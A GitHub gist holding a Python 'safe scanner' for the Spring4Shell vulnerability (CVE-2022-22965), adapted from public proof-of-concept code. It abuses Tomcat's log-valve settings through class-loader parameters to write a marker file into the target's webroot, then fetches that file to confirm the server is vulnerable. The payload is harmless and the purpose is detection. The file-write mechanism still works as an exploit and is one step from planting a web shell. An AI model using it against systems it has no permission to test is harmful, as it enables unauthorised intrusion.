Skip to content

Instantly share code, notes, and snippets.

@Will-Beninger
Created May 15, 2023 16:44
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Will-Beninger/504803a1621cf96e9c7acdceaf9b8aea to your computer and use it in GitHub Desktop.
Save Will-Beninger/504803a1621cf96e9c7acdceaf9b8aea to your computer and use it in GitHub Desktop.
CVE-2022-22965_SpringShell Safe scanner for SpringShell adapted from the https://github.com/lunasec-io/Spring4Shell-POC exploit as well as work from https://github.com/colincowie/Safer_PoC_CVE-2022-22965/blob/main/Safer_PoC_CVE-2022-22965.py
# Author: Will-Beninger
# Very minor changes to the script from lunasec to make a safe/reliable scanner
# Original Python Code from here: https://github.com/lunasec-io/Spring4Shell-POC
# Based off the work of @Rezn0k
# Based off the work of p1n93r
# Based off the work of colincowie
# https://github.com/colincowie/Safer_PoC_CVE-2022-22965
import requests
import argparse
import logging
from urllib.parse import urlparse
import time
# Set to bypass errors if the target site has SSL issues
requests.packages.urllib3.disable_warnings()
post_headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
get_headers = {
"prefix": "<%",
"suffix": "%>//",
# This may seem strange, but this seems to be needed to bypass some check that looks for "Runtime" in the log_pattern
"c": "Runtime",
}
def run_exploit(url, directory):
log_pattern = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=Warning," \
f"%20CVE_2022_22965%20was%20sucessfully%20exploited%20on%20this%20device.%20reference:" \
f"%20https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement"
#Appears as:
#Warning, CVE_2022_22965 was sucessfully exploited on this device. reference: https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement
log_file_suffix = "class.module.classLoader.resources.context.parent.pipeline.first.suffix=.txt"
log_file_dir = f"class.module.classLoader.resources.context.parent.pipeline.first.directory={directory}"
log_file_prefix = f"class.module.classLoader.resources.context.parent.pipeline.first.prefix=CVE_2022_22965_exploited"
log_file_date_format = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
exp_data = "&".join([log_pattern, log_file_suffix, log_file_dir, log_file_prefix, log_file_date_format])
# Setting and unsetting the fileDateFormat field allows for executing the exploit multiple times
# If re-running the exploit, this will create an artifact of {old_file_name}_.jsp
file_date_data = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_"
print("[*] Resetting Log Variables.")
ret = requests.post(url, headers=post_headers, data=file_date_data, verify=False, timeout=(5,10))
if ret.status_code==200:
print("[+] Response code: %d" % ret.status_code)
else:
print("[X] Response Code: %d - Exploit Unsuccessful" % ret.status_code)
exit()
# Change the tomcat log location variables
print("[*] Modifying Log Configurations")
ret = requests.post(url, headers=post_headers, data=exp_data, verify=False, timeout=(5,10))
if ret.status_code==200:
print("[+] Response code: %d" % ret.status_code)
else:
print("[X] Response Code: %d - Exploit Unsuccessful" % ret.status_code)
exit()
# Changes take some time to populate on tomcat
time.sleep(3)
# Send the packet that writes the web shell
ret = requests.get(url, headers=get_headers, verify=False, timeout=(5,10))
if ret.status_code==200:
print("[+] Response code: %d" % ret.status_code)
else:
print("[X] Response Code: %d - Exploit Unsuccessful" % ret.status_code)
exit()
time.sleep(1)
# Reset the pattern to prevent future writes into the file
pattern_data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern="
print("[*] Resetting Log Variables.")
ret = requests.post(url, headers=post_headers, data=pattern_data, verify=False, timeout=(5,10))
if ret.status_code==200:
print("[+] Response code: %d" % ret.status_code)
else:
print("[X] Response Code: %d - Exploit Unsuccessful" % ret.status_code)
exit()
def main():
parser = argparse.ArgumentParser(description='Spring Core Test Script')
parser.add_argument('--url', help='target url', required=True,dest="url_arg")
parser.add_argument('--dir', help='Directory to write to. Suggest using "webapps/[appname]" of target app', required=False, default="webapps/ROOT",dest="dir_arg")
#parser.add_argument('-d', '--debug',help="Print lots of debugging statements",action="store_const", dest="loglevel", const=logging.DEBUG,default=logging.WARNING)
#parser.add_argument('-v', '--verbose',help="Be verbose", action="store_const", dest="loglevel", const=logging.INFO)
args = parser.parse_args()
#logging.basicConfig(level=args.loglevel)
if args.url_arg is None:
print("Must pass an option for --url")
return
try:
run_exploit(args.url_arg, args.dir_arg)
print("[+] Exploit completed")
location = urlparse(args.url_arg).scheme + "://" + urlparse(args.url_arg).netloc + "/CVE_2022_22965_exploited.txt"
print("[+] Waiting 10s for Tomcat to move the file into the directory....")
time.sleep(10) #Seems to take a few seconds to move the file to the dir/become available. From my testing up to 10 seconds
ret = requests.get(location, verify=False, timeout=(5,10))
if ret.status_code == 200 and "CVE_2022_22965 was sucessfully exploited" in str(ret.content):
print(f"[+] VULN: File retrieved successfully and {args.url_arg} confirmed vulnerable!")
else:
print("[X] Unable to automatically pull file. Manually verify")
print(f"[X] File should be at: {location}")
except Exception as e:
print("[X] Exception Hit, Script Terminated")
print(e)
if __name__ == '__main__':
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment